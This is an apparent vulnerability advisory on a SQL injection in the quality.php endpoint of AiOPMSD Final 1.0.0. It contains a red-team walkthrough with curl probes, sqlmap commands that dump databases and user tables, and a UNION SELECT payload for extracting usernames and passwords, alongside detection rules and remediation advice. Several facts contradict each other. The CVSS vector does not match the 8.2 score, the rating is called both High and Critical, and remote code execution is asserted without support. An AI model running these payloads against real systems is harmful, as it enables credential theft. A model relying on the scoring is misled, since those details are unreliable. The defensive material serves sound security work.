CVE-2018-25417

Executive Summary

CVE-2018-25417 is a critical SQL injection vulnerability in AiOPMSD Final 1.0.0, an open-source project management system. The flaw resides in the quality.php endpoint, where the quality parameter is directly concatenated into SQL queries without sanitization. An unauthenticated attacker can exploit this by sending crafted GET requests, leading to full database compromise—including extraction of usernames, database names, and version details. With a CVSS score of 8.2, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No official patch has been released, and the vendor status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of PoC details makes proactive defense essential.

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated exploitation.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Impact confined to vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Potential data modification via stacked queries.
• Availability Impact: High (A:H) – Possible denial of service via resource exhaustion.

Threat Level: Critical. Unauthenticated remote code execution via SQL injection can lead to full server compromise.

Deep Dive & Mechanics

The vulnerability exists in quality.php where the quality GET parameter is used unsanitized in a SQL query. The application likely constructs a query like:

SELECT * FROM quality WHERE id = '$_GET['quality']'

An attacker can inject SQL commands by breaking out of the string context. For example:

GET /quality.php?quality=1' UNION SELECT username,password FROM users--

This allows extraction of arbitrary data from the database. The lack of input validation and prepared statements makes this a classic SQL injection.

Attack Flow:

1. Attacker sends a crafted GET request to quality.php with a malicious quality parameter.
2. The PHP script concatenates the parameter directly into a SQL query.
3. The database executes the injected SQL, returning sensitive data.
4. Attacker parses the response to extract credentials, database schema, or other secrets.

Vulnerable vs. Patched Code

Vulnerable Code (AiOPMSD Final 1.0.0):

<?php
$quality = $_GET['quality'];
$query = "SELECT * FROM quality WHERE id = '$quality'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical):

<?php
$quality = mysqli_real_escape_string($conn, $_GET['quality']);
$query = "SELECT * FROM quality WHERE id = '$quality'";
$result = mysqli_query($conn, $query);
?>

Or better, using prepared statements:

<?php
$stmt = $conn->prepare("SELECT * FROM quality WHERE id = ?");
$stmt->bind_param("s", $_GET['quality']);
$stmt->execute();
$result = $stmt->get_result();
?>

Since no official patch exists, users must implement these mitigations manually.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: AiOPMSD Final 1.0.0 running on Apache/PHP with MySQL.
• Attacker: Kali Linux with sqlmap and Burp Suite.

Exploitation Steps:

1. Reconnaissance: Identify the vulnerable endpoint.

   curl -v "http://target/quality.php?quality=1"
   

2. Manual Injection: Test for SQL injection.

   curl "http://target/quality.php?quality=1'"
   

   Look for database error messages.

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target/quality.php?quality=1" --batch --dbs
   

4. Extract Data:

   sqlmap -u "http://target/quality.php?quality=1" --batch -D <dbname> --tables
   sqlmap -u "http://target/quality.php?quality=1" --batch -D <dbname> -T users --dump
   

PoC Payload:

GET /quality.php?quality=1' UNION SELECT 1,2,3,4,5,group_concat(username,0x3a,password) FROM users--

Blue Team (Defensive)

Detection & Response:

• Monitor web server logs for suspicious quality.php requests containing SQL keywords (UNION, SELECT, OR, etc.).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Implement input validation and parameterized queries immediately.
• Conduct a database audit to check for unauthorized data access.

Honeypot Strategy:

• Deploy a fake quality.php endpoint that logs all requests and alerts on SQL-like patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /quality.php with quality parameter containing SQL keywords.
• Outbound database connections from the web server to unknown IPs.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Modified quality.php file (if attacker uploaded webshell).
• Suspicious files in the web root (e.g., cmd.php, shell.php).

Log IOCs:

• Apache access logs showing quality.php?quality=1' UNION SELECT...
• MySQL general query log showing injected queries.

Detection Engineering

YARA Rule

rule CVE_2018_25417_SQLi_Quality {
    meta:
        description = "Detects SQL injection attempts targeting quality.php in AiOPMSD"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2018-25417"
    strings:
        $s1 = "quality.php" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "OR" nocase
        $s6 = "1=1" nocase
    condition:
        $s1 and any of ($s2,$s3,$s4,$s5,$s6)
}

Sigma Rule

title: CVE-2018-25417 SQL Injection in quality.php
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against AiOPMSD quality.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'quality.php'
        cs-uri-query|contains|any:
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - '1=1'
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in parameter (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2018-25417 SQL Injection in quality.php"; flow:to_server,established; content:"GET"; http_method; content:"quality.php"; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from production networks until patched.
2. Implement input validation – Use prepared statements or parameterized queries for all database interactions.
3. Deploy a WAF with rules to block SQL injection patterns.
4. Disable error reporting in PHP to prevent information leakage.

Long-Term Fix:

• Since no official patch exists, rewrite the quality.php script to use prepared statements.
• Upgrade to a supported project management system if available.

Detection:

• Enable detailed logging for web and database servers.
• Use the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert